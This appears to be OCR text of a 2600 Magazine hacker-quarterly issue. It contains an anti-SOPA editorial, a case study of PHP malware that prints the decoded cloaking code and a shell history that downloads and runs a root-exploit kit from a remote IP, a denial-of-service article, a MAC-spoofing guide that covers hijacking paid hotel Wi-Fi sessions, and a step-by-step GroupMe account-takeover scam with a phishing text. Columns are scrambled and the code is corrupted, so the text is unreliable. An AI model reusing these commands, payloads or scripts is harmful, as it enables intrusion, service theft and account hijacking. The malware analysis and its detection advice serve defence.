




SOPA. PIPA. ACTA. What are these strange
four letter words? And why are we suddenly
hearing about them everywhere?

Each of these acronyms represents a
different and significant danger to the Internet
and to our freedoms. Together, they're part
of the same mentality that always has and
always will try to curtail and regulate liberty
and freedom of expression under the guise of
justice or fairness. Only the names change;
the game is always the same. Think of them as
threats which never go away.

Let's take a quick look at what these three in
particular are all about:

• SOPA, the Stop Online Piracy Act, is
a House bill that would give the United
States government the ability to basically
disconnect any website it deemed respon­
sible for any sort of copyright violation
- or any website that contains informa­
tion that might help users to bypass these
restrictions. That could include almost
anyone - if the authorities chose to pursue
it.

• PIPA is an acronym within an acronym
(PROTECT IP Act (Preventing Real
Online Threats to Economic Creativity
and Theft of Intellectual Property Act))
and is the Senate counterpart to SOPA.
One of its goals is to "de-list" objection­
able sites, basically meaning that the
rest of the world might be able to access
a particular website, but to those in the
United States, it would appear not to exist
at all. It sounds an awful lot like the kinds
of tactics we read about in oppressive
lands.
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• Then there's ACTA, the Anti-Counter­
feiting Trade Agreement, which is a multi­
national treaty signed by 31 countries
including the United States and the entire
European Union. One major problem is
that the entire agreement was put together
in total secrecy, with absolutely no input
from organizations or people that might
be concerned with the nagging question of
civil liberties. Not a good start, but one that
accurately reflects the overall tone of this
thing. In general, it's more of the same:
rigid controls over how technology can
be accessed and by whom, more liability
to Internet Service Providers in order to
get them to monitor what their users are
doing, and basically a global version of
our old friend, the Digital Millennium
Copyright Act (DMCA).

So, what is it that changed recently and
drew an incredible amount of public attention
to the threats that these proposals represented?
Several things, actually.

For one, we saw an unprecedented display of
responsibility among the Internet powerhouses.
Of course, we can be cynical and say that they
were primarily looking out for their own inter­
ests and that their businesses would be hurt
if any of the domestic proposals became law.
That's very possible. But what's different here
is the way in which this was dealt with. Rather
than using their power and connections to get
some sort of a back room deal and becoming
exempt from whatever regulations adversely
affected everyone else, activist tactics were
employed, which encouraged demonstrations,
petitions, and blackouts. It became bigger than
Wikipedia, Google, Reddit, and the many other
hugely popular sites that could have easily
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ignored this controversy, but instead chose to
do the right thing. Their participation fueled the
fire that itself became the story, affecting over
50,000 sites and waking up a countless number
of people.

An increased amount of awareness that has
been developing throughout the net is a huge
reason why this spread , perhaps even getting
through to some of the corporate sites that
otherwise might not have been paying atten­
tion. Often , in order to be noticed, you need to
raise your voice. We've been seeing a lot of that
lately, from anti-Scientology protests to Occupy
Wall Street to the Arab Spring to the debt crisis
in Europe. Through social networking and other
elements of the Internet, mass organization of
an unprecedented nature has been occurring all
around us, completely catching the authorities
by surprise. WikiLeaks helped to set the mood ,
Anonymous helped to raise the volume. People
everywhere started to pay attention. The status
quo is simply no match for that. That is why it
suddenly became very difficult to find any poli­
tician who continued to back these bills. They
move with the wind.

And on the subject of that status quo, it's
interesting to look at those dinosaurs that just
don't seem to get the message that their time
is done. On SOPA Blackout Day (January 18),
2600 stood with the EFF and other civil liberties
groups against organizations like the MPAA,
just as we did back in 2000 in the very first case
involving the DMCA. It was a wonderful trip
down Memory Lane and one that reaffirmed
the philosophical divide that exists between the
industry and much of the public.

The fights continue. The enemies remain
the same. What has changed is the amount
of public awareness that exists today , and the
ability to tum that into action.

Naturally, we can expect to see a good
amount of convincing testimony that seeks to
contradict all of the above. We will be accused
of supporting "piracy." There will be examples
of evil people making tons of money from the
works ofothers, implied ties to bona fide terror­
ists, statistics that show how the economy is
being wrecked by these evildoers, etc., etc. But
if the arguments seem a little too simple , the
complexities of the issues have probably been
skipped over.

Most people already can tell the difference
between right and wrong. Stealing is wrong,
when it's actually stealing. When the word
becomes twisted and distorted so that stealing
is defined as anything from skipping over a
commercial to not buying the same product
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multiple times to refusing to pay a fee every
time a song is heard , more is actually done to
negate the effects of true theft than anything a
common criminal could do. When people see
themselves as victims of a rip-off perpetuated
by the entertainment industry or other large
conglomerates, the mood quickly changes
to one of retributive justice. Then, true theft
becomes closer to the norm, which plays right
into the hands of the industry - which might
have been what they wanted all along.

We all know that amazing things can
happen when people have access. One merely
has to look at the effectiveness ofYouTube and
Twitter as tools in actually toppling repressive
regimes. Access to speech, access to commu­
nity, access to the truth - these are great things
for all individuals. Controlled and restricted,
these tools lose all power. The same can be
said for the arts. Open that world so that people
can appreciate it and help spread the word and
anything is possible.

If you look closely at those who are opposed
to making art more accessible, you'll find the
driving forces to be those who already have a
great deal and are afraid of the playing field
becoming a little more even - the recording
industry, Hollywood, hugely successful stars.
So, yes, perhaps lowering the prices of media
and encouraging the sharing of art will put a
dent in the influx of cash to those currently
sitting on top . Maybe it will mean that their
efforts won't by default be as lucrative. With the
digital revolution, it's no longer about the vinyl
or the film or the paper, all of which created
a tangible limit. Now it's about the actual
content, no longer bound by such physicallimi­
tations. If that happens to be worth supporting,
then people will support it to the best of their
abilities. To those who are creating and trying
all sorts of new approaches, a global audience
that pays attention is infinitely more valuable
than a limited one that pays cash. Earning that
attention is now the first step , remaining rele­
vant is part of every subsequent step.

We're in a new age. Through technology,
people have a way of speaking their minds and
getting the story out even when governments
want to silence them. Through technology,
consumers can get access to anything that's
out there, regardless of the irrational demands
imposed by those who imagine themselves in
charge. The assumption that intangibles like
speech and art can continue to be controlled is
now merely a dream doomed to failure.
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involving null pointer dereferencing. It also
looks like the rooting attempts failed (hooray for
updating the kernel).

But where 'd the actions come from?
After more digging I came across a really,

really huge block of base64 bracketed by
\x65\x76\x61\x6C\x28\x67\x7A\x69\
-'x6E\x66\x6C\x61\x74\x65\x28\x62\x61
-'\x65\x36\x34\x5F\x64\x65\x63\x6F
-'\x64\x65\x28

and
\x29\x29\x29\x3B

which in ASCII are
eval(gzinflate(base64 decode (

and
))) ;

and that decoded and decompressed into a
rather impressive 1517 lines of PHP; this started
with a system to distinguish Windows and *n*x
hosts, but the actual exploit code was POSIX­
specific (which suggests to me that this code was
downloaded and appended as part of the infection
process).

The functions in the script were sniffers for
security information, filesystem manipulation,
string tools, file tools , bypassing safe mode,
running a virtual console, brute-force attacks
on system and database passwords, and opening
network backdoors; and, finally, cleaning up after
itself (although, of course , not perfectly).

It appears the original source of the malware
was a free WordPress theme downloaded from
same random website. From my inspection of the
code, the two most likely places to find obfus­
cated code are in footer.php (which is probably
seldom inspected) and index.php (which is prob­
ably often infected).

My advice to server administrators wishing to
avoid the grief is simple. (1) In WordPress instal­
lations, once installed, ensure the server user
cannot write to any directory except wp-content,
and also cannot write to any PHP file whatsoever.
(2) Use grep to search for eval (base64_
decode ( and replace any examples you find
with the decoded PHP if it's innocuous (and
excise it if not). (3) Use grep to search for strings
of hex-encoded data: for example \x65 \x7 6\
-'x61\x6C iseval, \x67\x7A\x69\x6E\
-'x6 6\x6C\x61 \x7 4 \x65 is gz inflate and
\x62\x61\x73\x65\x36\x34\x5F\x64
-'\x65\x63\x6F\x64\x65 is base64
decode. Of course, this should be a case-insen­
sitive search.

This has been an interesting and enlightening
experience, which I felt should be shared. Thank
you, 2600, for instructing me since before 9/11;
keep up the good fight.

}

foreach ($user_agent to filter
-. as $bot_sign) {

if (strpos($_SERVER['HTTP
-'USER_AGENT'], $bot_sign) !==
-. false) {$bot = true; break;}
}

if (!$bot) {
echo '<iframe src="http://ovundrzj
-'r.co.tv/?go=1" width="1" height=
-." 1"></ iframe>' ;
}

Clearly, it only spits out the iframe for user
agents not in the list and from IPs outside the
ranges excluded; I suspect the ovundr z j r .
co . t v address is a client-reporting script , but
the domain no longer resolves.

We continued digging around, and noticed
this in the .bash_history file:
uname -s
uname -r
uname -v
uname -m
which gcc
which wget lynx links GET
-. fetch curl
wget -0 /tmp/raroot.tgz
-'http://94.60.123.230/exspl/
-'raroot. tgz
if [ -f /tmp/raroot.tgz ]; then
-'echo DownloadedSucc; fi
cd /tmp
tar -xzf raroot.tgz &>/dev/null
cd raroot
cd wunderbar
chmod +x wunderbar.sh
./wunderbar.sh
cd ..
if [ "$(id -u)" = "0" ]; then
-'echo "GOT ROOT"; fi
cd cheddar_bay
chmod +x cheddar_bay.sh
./cheddar_bay.sh
cd ..
if [ "$(id -u)" = "0" ]; then
-'echo "GOT ROOT"; fi
cd therebel
chmod +x therebel.sh
./therebel.sh
cd ..
if [ "$(id -u)" = "0" ]; then
-'echo "GOT ROOT"; fi
chmod +x run.sh
./run.sh
cd ..
if [ "$(id -u)" = "0" ]; then
-'echo "GOT ROOT"; fi
rm -r /tmp/raroot*

The plot thickens. When we resolved
94.60.123.230, it was to a Romanian host; it no
longer resolves. Anyhow, all three of Wunderbar,
Cheddar Bay, and The Rebel are exploits
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by StarckTruth

A PHP R22TKIT
CASESTUDV

I was recently hired by the engineering and CS student association of a local university after their
server had become unreliable due to a virus . Being a former member of and volunteer for this organi­
zation, I offered to help them reconstruct their sites in a secure fashion before the start of the term in
two weeks' time.

Working with two rather skilled students, we explored the unholy mess in the server. There
had obviously never been any organizational scheme that had been followed for long, so the
cruft lay thick and deep. Nonetheless, before too long I found in an index.php file the code
eval (base64_decode ('blablabla' ) ) with a substantial bit of gibberish. The base64 block
had been inserted after the initial <?php in the file. Clearly, this was obfuscated code and, when
extracted, it read:
error_reporting(O);
$bot = FALSE ;
$user_agent_to_filter = array('bot' ,'spider' ,'spyder' ,'crawl' ,'validator'
-','slurp' ,'docomo' ,'yandex' ,'mail.ru' ,'alexa.com' ,'postrank.com' ,'htmld
-'oc' ,'webcollage' ,'blogpulse.com' ,'anonymouse.org' ,'12345' ,'httpclient'
-','buzztracker.com' ,'snoopy' ,'feedtools' ,'arianna.libero.it' ,'internet
-'seer.com' ,'openacoon.de' ,'rrrrrrrrr' ,'magent' ,'download master',
-"drupal.org' ,'vIc media player' ,'vvrkimsjuwly 13ufmjrx' ,'szn-image-re
-'sizer' ,'bdbrandprotect.com' ,'wordpress' ,'rssreader' ,'mybloglog api');
$stop ips_masks = array(

array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"),
array("209.185.108.128","209.185.108.255"),
array("216.109.75.80","216.109.75.95"),
array("64.68.88.0","64.68.95.255"),
array("64.68.64.64","64.68.64.127"),
array("64.41.221.192","64.41.221.207"),
array("74.125.0.0","74.125.255.255"),
array("65.52.0.0","65.55.255.255"),
array("74.6.0.0","74.6.255.255"),
array("67.195.0.0","67.195.255.255"),
array("72.30.0.0","72.30.255.255"),
array("38.0.0.0","38.255.255.255")
) ;

$my ip2long = sprintf("%u",ip21ong($ SERVER['REMOTE ADDR']));
for~ach ( $stop ips_masks as $IPs ) { -

$first d=sprintf("%u",ip2long($IPs[0])); $second d=
-'sprintf ("%u~, ip2long ($IPs [1])); -

if ($my_ip2long >= $first_d && $my_ip21ong <= $second d)
-'{$bot = TRUE; break;} -

Page 6 2600 Magazine



Denial of
Service 2..0

accept and process ToS values from the outside,
not all ISPs or backbones will trust ToS bits sent
across their network, and many will strip them
from the packet header while routing them to the
destination host. This seems to vary from ISP to
ISP, so test before trying. In following best prac­
tices to mitigate this attack, network engineers
should not only match on ToS bits in the packet
header, but also verify the packet is originating
from a subnet or host expected to mark its traffic
with QoS values. Also , edge routers in networks
that do not expect to receive ToS bits set in the
header of incoming packets should either strip the
header or drop the traffic completely.

The second technique in this article involves
the misplacement or misconfiguration of inline
intrusion prevention services on a network.
Typically, edge intrusion prevention sensors
should be placed behind a firewall or other
device which is monitoring connection states.
However, many companies will deploy an IPS
in front of the firewall, or turn on IPS services
inside their edge routers to preserve processor
and memory resources on the router. This can
be exploited by an attacker, since most IPS
sensors are only interested in the packet payload
and matching against a known set of signatures,
and do not care about the session state. An
attacker could craft packets containing mali­
cious payloads and spoof the source IP address
as being from a company's business partner or a
popular website. Since the IPS never examines
session state, it will only look at the payload,
see it is malicious, and , if configured auto­
matically, block all traffic sourced from that IP.
Imagine if an attacker sourced a constant stream
of malicious payloads from the IPs of Google,
or a company's known business partner. A
company could then be forced to turn off any
automatic blocking on their sensors, allowing an
attacker more flexibility in trying to break into
the network. Network engineers should always
deploy IPS sensors behind a firewall or other
device configured to monitor session state. Not
only will much of the noise be eliminated in
IPS logs by receiving alerts on things that never
would have been allowed through the firewall
anyway, session state is always validated before
the traffic is processed by the sensor, so only
established traffic flows are being inspected.

So that about wraps it up. These are just
two ways in which attackers can modify denial
of service tactics to impact networks and
cause security teams grief, outside of the stan­
dard Layer 3 and Layer 4 tactics. I'm always
open to discussion so feel free to email me at
tcstool@gmail. com with any questions or
comments.

by tcstool
This article is purelyfor education and infor­

mational purposes. The information herein is
only for examining theoretical methodology that
could be used in a DoS attack, and what this
information is usedfor is solely the responsibility
of the reader. The author bears no responsibility
for any damage and mayhem caused by using this
information.

Denial of service attacks have been out of the
public consciousness for a while, but, with recent
attacks against various government and corpo­
rate sites by groups like Anonymous, they have
become an increasingly relevant issue again. This
article intends to take a look at traditional tech­
niques used in DoS attacks as well as introduce
some new theories on how to create denial of
service conditions on a network.

Most denial of service attacks can be classi­
fied into two categories: traffic-based, which will
be the focus of this article, and exploit-based.
A traffic-based denial of service attack does not
utilize any exploit code, utilizes the application
and resource in a normal fashion and simply
involves exhausting resources on a host through
excess volumes or network traffic or resource
usage on the victimized host. Some examples of
traffic-based denial of service attacks include:
• SYN Flooding: Opening TCP SYN connec­

tions to a victim server without responding to
the SYN-ACK packet returned, leaving half
opened connections on the victim while it waits
on responses until resources are exhausted.

• ICMP-based Attacks: Pinging the broadcast
address of a network with a spoofed source
address of the victim, causing a flood of ICMP
echo reply packets to be sent to the victim IP,
which is also known as a smurf attack. Another
technique might be simply to send a large
number of ICMP packets to a host simultane­
ously from a distributed group of hosts such
as a botnet and attempt to exhaust bandwidth
and resources available. Lastly, an attacker
might repeatedly send fragmented or otherwise
malformed ICMP packets to a host, that when
reassembled or processed cause the victim to
crash due to its abnormalities.
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• Application Resource Consumption: An
attacker will use a distributed set of hosts to
connect to a victim and launch resource inten­
sive processes on the host. Examples could be
logins or other calls to an SQL database, repeat­
edly sending HTTP POSTs to an application
until drive space and memory are exhausted,
requesting large resources from the applica­
tion, or constantly initiating logged actions,
consuming processor, memory, and disk space
on the victim until resources are exhausted.
Exploit-based denial of service attacks will

not be covered in great detai I because they are
not the focus of this article. They are simply the
launching of code designed to crash the victim,
either temporarily by crashing the operating
system or application services of the victim,
or by exploiting the victim and launching code
that will permanently take the host offline, such
as damaging the OS or application to the point
where the victim machine must be rebuilt. This
is sometimes referred to as a Permanent Denial
of Service or POoS attack. Traffic-based denial
of service attacks have become less effective in
recent years, as networking equipment manu­
facturers have begun to mitigate many of these
attacks inside their device's software. Most
routers come preconfigured to silently drop ICMP
directed broadcasts. Many network firewalls have
preconfigured thresholds limiting the number of
half open connections to a host, as well as the
ability to inspect and drop ICMP traffic which is
not a reply to an ICMP request. Intrusion preven­
tion sensors now not only look inside packet
payloads for exploit code, but also normalize
network traffic and drop packets with abnormal
characteristics. Larger enterprises or ISPs may
also make use of anomaly detectors and guards,
which have the ability to analyze network traffic
and dynamically reroute problematic traffic away
from a targeted host. However, most of these
technologies are flawed, in that they are looking
at a static set of known DoS techniques, and are
looking for traffic directed at the host , not at how
the network infrastructure processes traffic itself.

The first technique this article will cover will
be referred to as QoS DoS (QDoS). First, a quick
primer. QoS stands for quality of service, which
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at its simplest is defining network traffic in such a
way that it can be prioritized and resources can be
reserved for traffic matching that definition. This
can be done on pretty much any characteristic of
the packet, but most commonly is accomplished
using QoS markings, which are simply values in
the header of a packet known as the ToS (Type
of Service) field. There are two variations of ToS
values most commonly used: IP precedence, and
Differentiated Services Code Point (DSCP). IP
precedence is a value between 0 and 7, with the
lower values being less critical in terms of packet
delivery, up to a value of 7 which is defined for
use for network control traffic . DSCP allows for
the use of up to 64 unique values for classifying
traffic.

The most common use for QoS values is in
the delivery of multimedia applications, such as
Voice over IP phone systems or video delivery. So
how could an attacker use QoS to create denial of
service conditions on a network? First, a change
in the target of a denial of service occurs. While
the target IP address remains the victim host,
the attacker will take advantage of flaws in the
infrastructure responsible for delivering traffic
to that host. One of the most common mistakes
made when configuring QoS services is to only
configure policies based around IP precedence
or DSCP markings. Here's a simple example.
An attacker has compromised a host or set of
hosts on the internal network, which uses a
Voice over IP phone system. A quick scan of the
network has revealed the type of system in use,
and a Google search for some tech info indicates
that voice traffic from this system is by default
marked with a DSCP value of cs3. The network
engineers responsible for this network have most
likely configured the infrastructure to prioritize
or reserve bandwidth for traffic marked with
these values , but have not specified to look for
this traffic originating from only the voice subnet,
or perhaps not even created a separate subnet for
voice. An attacker could generate large volumes
of traffic marked with this value set in the ToS
field of the packet header, constantly filling the
prioritized queues on the switch or router in ques­
tion and negatively impacting or blocking voice
services to the rest of the network. Imagine this
scenario in a call center environment. An attacker
could also experiment with any number ofcombi­
nations of IP precedence and DSCP values and
gauge round trip times to see if there are vari­
ances based on modifying the ToS value , but this
would be inefficient, so it is better to identify
hosts on the network who are known to use QoS
services. Now, of course, this example assumes
that an attacker is on the internal network. The
reason for this is that, while some enterprises
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Spoofing MAC Addresses on /I1;!ndows

Whup
Spoofing your MAC address is not so diffi­

cult and generally does not require more than five
minutes. Do not give money for some "magic"
software. Free ones are available. Use those (if you
are lazy, just look at the end of the article).

Section 2 is valid also for *NIX users. What
changes is the way to spoof the address. In many
cases, it is a matter of typing:
ifconfig athO ether 112233445566

Consult your manpage for ifconfig.
Finally, remember that MAC addresses live

in your LAN, and are discarded by the first router
you'll find. Generally speaking, Internet hosts
cannot see your MAC address, or not directly.

As always, play fair. Some assembly may be
required and results may vary. A lot.

And remember, if you don't trust snake oil, be
aware ofARP poison too.

changing the first three digits may transform your
el-cheapo laptop into a shiny new MacBook Air.
Yes, it's magic!

Some devices on the net (PLC, SCADAs), for
security or compatibility reasons, may respond
only to requests coming from specific ranges of
MAC addresses. Well, spoofing yours may render
you very compatible.

A person who was on the plane with a friend
of mine told him that some firewalls perform layer
2 filtering because layer 2 (IP) addresses can be
spoofed. lowe him lots of thanks.

A designer my friend knew on the beach said the
CAD he used had a license based on the MAC of
the network adapter. He then was able to test drive
the CAD product with its friend license, become an
expert, and then finally acquire the CAD product.
He also told me he designed a famous steel tower
in Paris, but I suspect he was joking me.

Last but not least, since MAC address are
"immutable" characteristics of a computer, they
can be part of forensics analysis. Layer 2 devices
often log them. Using some imagination can help to
keep the bad guys looking for some iPhone instead
of your Vista box, if you just remember to unbind
some protocols from the NIC.

Why
Because we can, first of all. Because "real"

MAC addresses are boring. Because we like to
set up a contest for the best sounding valid MAC
address and we need to test it!

According to a friend of mine, other uses are
possible. Once he was in a hotel, and connecting to
the Internet was mediated by a captive portal. They
tend to cage your connection until you provide
valid user/password/credit card and so on. Since
they block all of your network connections, not
only web, they usually check packets at layer 2,
looking for authorized MAC addresses. So when a
friend of my friend got authenticated and then shut
down its computer (it is often a requirement, but
we'll digress another time), my friend "leased" the
other person's MAC address and continued to surf,
getting the same address from DHCP and having
its surfing logs credited to the other person. He said
this is a workable solution also in airports, where
people connect, surf for a while and then run to the
check-in.

Also, some captive portals have some "always
authenticated" devices like proxy servers, anti­
virus, management stations, network controllers,
TV, set top boxes (like the one standing in front of
you in your hotel room), and so on. A little sniffing
on the net (broadcast is your friend) may help to
identify them.

Another friend of mine once told me that
changing the MAC address can help while pen
testing (your) wireless networks. Some access
points have MAC filtering and only devices with
a certain MAC address can connect to them. Well,
the MAC address is a layer 2 beast, so it is not With
encrypted and clearly visible even on WEP/WPA F 1· k d f t 1 th t t

k
or a c IC -an -go ree 00 a seems 0

networ s. .
A th fri d( Ih 1 t f fri d)t ld work,Jump to http://www.gorlani.com/no er nen yes, ave 0 0 nen s 0

me that some wireless provider let you surf for free "por.tal and look for M~cMakeup. Pro~ably
for a fixed amount of time before requiring some runs VISt~ and Sev.en too, but If you read section 2
kind of sign in. A brand new MAC address will you can SImply wnte your own tool.
often convince DHCP to give you a brand new IP. ForalistofMACaddressvendorcodes,lookatthe
And so on. manuf file in your Wireshark installation directory,

Some services require your device to be or consult http://standards.ieee.org/
produced by some specific vendor. As you know, "develop/regauth/oui/public. html.
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A little hint: the MAC address must be typed
in the form 112233ABCDEF - no colons, dashes,
spaces, or other garbage. Also, your MAC should
be well-formed, basically being six bytes in hex
form. Failing to set a valid MAC generally results
in the real one being used.

Another even-more-simple-but-not-always-
applicable method is going into your device prop­
erties sheet and looking for Network Address
settings: sometimes a radio button appears with
"not present" or a box to type the MAC address
into.

To modify HKLM key, you must be an admin­
istrator of your box and run regedit with elevated
privileges where needed.

they have data instead, see next line.
• Data. As the name suggests, it is the data effec­

tively stored.
[/MINI -RECALL]

In Windows, fire up Regedit and let's jump to
this key:
HKLM\SYSTEM\CurrentControlSet\
"Control\Class\{4D36E972-E325­
"11CE-BFC1-08002BE10318}

(Don't mess with CurrentControl
"SetXXX keys; they are "last known good
configuration" backup copies.)

Here we have several sub-keys, numbered
starting from "0000". Each one represents a
network adapter. You can see a lot ofkeys, meaning
lots of adapters. Not all of these adapter are phys­
ical ones, NIC in the most common way we intend.
There are several "virtual" adapters, such as VPN,
virtual Wi-Fi, IP tunneling, and so on, contributing
to the "NIC pollution" of this sub-key. We are inter­
ested in changing only physical ones, and there are
several methods to identify them, mostly involving
ANDing bits with some value; since we are lazy,
we'll take a shortcut and browse each numbered
sub-key looking at the DriverDesc value. Here
you can read the name the driver exposes to the
system for that adapter, so you can distinguish
between "WAN Miniport (SSTP)" that is a virtual
adapter for Microsoft SSL VPN and "Realtek PCle
GBE Family Controller" which identifies itself as
our piece of hardware.

Having identified the sub-key of interest, just
scroll down the values and see some of the working
tunables for that device. It depends on the vendor,
so the list may vary. Physical adapters tend to have
more settings than virtual ones.

We must point straight to the Network
"Address value of type REG_SZ.

You can have three cases here:
1) the value does not appear
2) the value appears, but contains no data
3) the value is here and contains something, say

112233445566
The data in NetworkAddress is the MAC

address of our adapter or, better, the one we want
the system to use. If it is already present (case
3), change it to whatever you want and disable/
re-enable the network adapter from the device
manager of the connections menu. If you have
doubts, reboot your system: it's always a Windows
box, isn't it?

If the value is not present, just right click the
right pane, select New->String value, and
name it NetworkAddress; then double click it
and type your brand new MAC address.

And how do I get my "real" MAC address
back? It is simple enough: just enter empty data or
remove the NetworkAddress value.
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by Wananapaoa Uncle

What
There are times when you care more about your

privacy, and going online is often one of them.
I'll assume you know about MAC address

theory, so I won't spend time repeating things
you can find on Wikipedia. I'll only focus on one
aspect: you normally read that MAC addresses are
unique 48 bit addresses burnt into the device firm­
ware. I think this is generally correct, we only need
to better define "generally."

Your hardware needs some kind of software
layer to perform useful work and this software is
generally called a device driver. No matter which
OS you're using, some kind of driver must talk on
one side to the OS and on the other side to the hard­
ware. The good things lay in between.

Normally, the driver reads the MAC address
from the device and passes it to the OS for use
when creating network packets with hi-level func­
tions. Of course, you can forge packets one by
one, but this is very time consuming and requires
specialized software implementing its own minimal
network stack. Piping generic network applications
into them can be a mess. So we just want Windows
to believe our MAC address is the one we choose
instead of the one burnt into the firmware, and to
stamp it in every packet flowing to the net.

Here comes good news: Windows provides a
method to achieve this, so our hack is simply to
understand the way to leverage this capability.
Several built-in tools in Windows make use of fake
MAC addresses. NLB is the most famous, Hyper-V
also does it, and so does every "teaming" driver I
know of.

Where
As always, Windows stores information about

its configuration into the registry, so we must dig
into it.
[ /MINI-RECALL]

Just two words about correct definitions, so as
not to create confusion: the registry is a hierarchical
database, with things named in this way:

• Keys are the yellow "folders" in Regedit, and
compose the structure of the database. You can
see them on the left pane in Regedit. Keys can
have sub-keys.

• Values are the named items that contain data.
Values appear in the right pane, along with their
type (REG_SZ for strings, REG_DWORD for
32 bit integers). Values cannot have sub-values,
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As always, this information is provided for your
spiritual enhancement. Having your soul enlight­
ened, don't use this information to create wreak
and havoc



by Jacob Step 4 is going to be the most difficult step in
this process. Don't give up though. If a verifica-

Social engineering is the art of manipulating tion code has been sent to the victim by GroupMe
people to give out sensitive information. This is as well as a follow up text stating that the victim
a true form of hacking on a non technical level. should have received a GroupMe verification
An example of social engineering is convincing code, the outcome should be in your favor.
someone that you are with a company that the The following can be a sample text that you
victim is affiliated with. Once you've convinced can send to the victim asking for the GroupMe
the victim, social engineering comes into play by Verification Code:
asking for information such as address, phone Automated Response: This is a
numbers email addresses and more . courtesy text message from GroupMe.

So what does GroupM'e have to do with social A verifi~ation. code has been sent
. . . to you ln a dlfferent text message

engineering? If you are unaware, GroupMe IS t . f t G M
.. . 0 verl y your curren roup e

a new and rapidly growing app on the Android membership. Please respond to this
Market as well as the Apple App Store that allows mes sage with the ve r ifica t i on code.
people to create groups. With GroupMe, ~sers are Once the victim has responded with the veri-
able to send one text message and have It sent to fication code, plug it into your GroupMe verifica-
a group ofpeople. Sounds normal and very useful tion. Once it has successfully authenticated, make
(which it is). I've noticed that there is a flaw with it look professional and respond to the victim
this application. Allow me to explain. with:

Once a user has installed the GroupMe appli- Thank you. Your GroupMe
cation from the Market or App Store, they will membership has been verified.
need to verify their phone number by typing in a 5. Delete the Google Voice account.
verification code sent to them via text message. If you are successful, any messages that are
The cool thing about this application is that you sent to the victim's group will be received on the
can register the same phone number on multiple device you registered with.
devices. I tried this out using my Android device You can then start gathering information that
as well as an iPod Touch. However, in order is being sent to and from the victim and begin the
to view the GroupMe messages on a separate social engineering process.
device, the verification code will be sent to the Once you have access to someone else's
phone number that you are trying to register. This GroupMe, you will then be able to view contact
is where we can use social engineering to gain information for other people that are in the group.
access. You will then have opportunities to perform

1. Install GroupMe on a device. I would the same steps to other people within the group.
recommend using devices like an iPod Touch or From there, you can branch out and find out as
a Tablet. much information about your victim to prepare

2. Install Google Voice on the same device yourself for future social engineering attacks.
and sign up for a phone number. I do not support illegal activities. I am just

3. Type in the victim's phone number and have simply pointing out a potential social engineering
GroupMe send the victim a verification code. opportunity!jlaw that people need to be made

4. Use Google Voice to send a text message to aware of This tutorial isforeducationalpurposes
the victim asking for the verification code. only. I am not responsible for your actions.
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Hello, and greetings from the Central munications magnate (and founder of MCI)
Office! Spring has sprung in Beijing, which John D. Goeken. Quickly, an analog service
means that it's still very cold, but with an added was brought online. It offered scratchy, poor
bonus: giant dust storms that blow in from quality calls for $2 per minute, but became
the Gobi Desert. Sometimes there is so much immensely popular with business travelers.
dust that you can't even see across the street. The business grew quickly and was purchased
Winds blowing through the concrete canyons in 1983 by GTE, which promptly violated most
of the Haidian district, funneled by endless of the purchase terms, particularly concerning
skyscrapers, can be enough to knock you over promised autonomy by Mr. Goeken to run
if they don't sandblast you first. There can be the business. After a court agreed to void his
some beautiful days, but spring is my least non-compete agreement with GTE, "Jack" (as
favorite time of year here; I typically schedule he was known) convinced the FCC in 1990 to
a long business trip back to the U.S. And so grant him spectrum to launch a competitive
I write to you from my home Central Office, service. The new company, In-Flight Phone
back in the Great Northwest. It 's comfortably Corporation, offered a higher-quality digital
cold, beautifully dusty, and my desk is exactly calling experience. In-Flight Phone handsets
the way I left it on my last visit. also offered games and value-added services

I spend a lot of time on airplanes, and this such as news and stock quotes. They even
time mostly ends up being unproductive. Since supported dial-up Internet service (at a slow
2005, it's been possible to use WiFi onboard bit-rate) and faxing. USAir eagerly adopted the
most domestic airlines in the U.S. , and it's upgraded service, even though pricing was the
even possible to use GSM mobile phones on same as Airfone, and numerous smaller airlines
some European carriers. Meanwhile, in Asia, followed.
in-flight calling and WiFi are surprisingly GTE didn 't stand still; in 1993, they
absent. Singapore Airlines and Cathay Pacific upgraded the Airfone service to digital.
have announced plans to offer inflight WiFi, However, the price increased: $2.49 per
but it hasn't happened yet. Chinese airlines minute, plus a 29 cent per minute long distance
don't offer it either. And even Korean Airlines, charge, plus a $2.50 connection charge. Airfone
the flag carrier of the most wired country on the pricing was so confusing and expensive that
planet, doesn't have even so much as in-flight the service saw ever-declining use. In 1994,
calling. It's baffling. I half expect Air Koryo Airfone offered free incoming calls, but these
(the flag carrier ofNorth Korea) to make a "first were only supported by a cumbersome prepaid
in Asia" offering, simply out of spite. calling card platform (and calling to an Airfone

There are few areas in telecommunications in-flight, of course, wasn 't free). By 1996, in
with such recent and rapid growth as in-flight an effort to boost demand, GTE was offering
communications. However, the deployment of flat rate unlimited duration outbound calling at
such services is hardly new. In-flight calling $15 per call. Predictably, phreak conferences
began in 1983, with the first deployment of were suddenly on fire with Airfone calls, and
Airfone on American Airlines jets, and was the promotion ended soon afterward. In 1998 ,
officially launched in 1984. The handsets were dial-up data speeds were upgraded to 9600 bps.
large and clunky, and there was usually only Unfortunately, this was right around the time
one per aircraft. In 1987, Airfone launched people were switching from dial-up to ADSL
seat-back telephones, which quickly became and cable broadband service.
ubiquitous on U.S.-based airlines. And then, for a long period, not much

Airfone sprung from an experimental changed except the usual mergers and acquisi-
license granted in 1980 by the FCC to a tions. In-Flight Phone Corporation was sold to
fledgling company led by legendary telecom- MCI, which was in tum purchased by Verizon,
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Curiosity Ki((edthe Cat
which meanwhile had merged with GTE. Since They rapidly constructed a network of over
Verizon already owned Airfone, the businesses 100 leased and newly constructed towers, and
were merged, again creating a monopoly in obtained radio spectrum suitable for commer-
what had once been a competitive market. cially available EV-DO Revision A broad-
The FCC didn't seem to notice or care, but band service (the same 3G broadband tech-
the previous duopoly hadn't resulted in much nology used by Verizon and Sprint). They then
competitive pressure a~yway. Rates .stayed installed more or less ordinary cellular panels
more.or ,less th~ same. WIth the cost ofJet fuel and pointed them skyward, creating the first
steadily mcreasmg, corporate expense accounts airborne cellular network - albeit with much
constrained, ~n? leisure travele~s occu~y~ng larger cells than usual. Rather than an expen-
more seats, airlines .began to notice dec!Inlng sive, heavy satellite system, in-flight WiFi
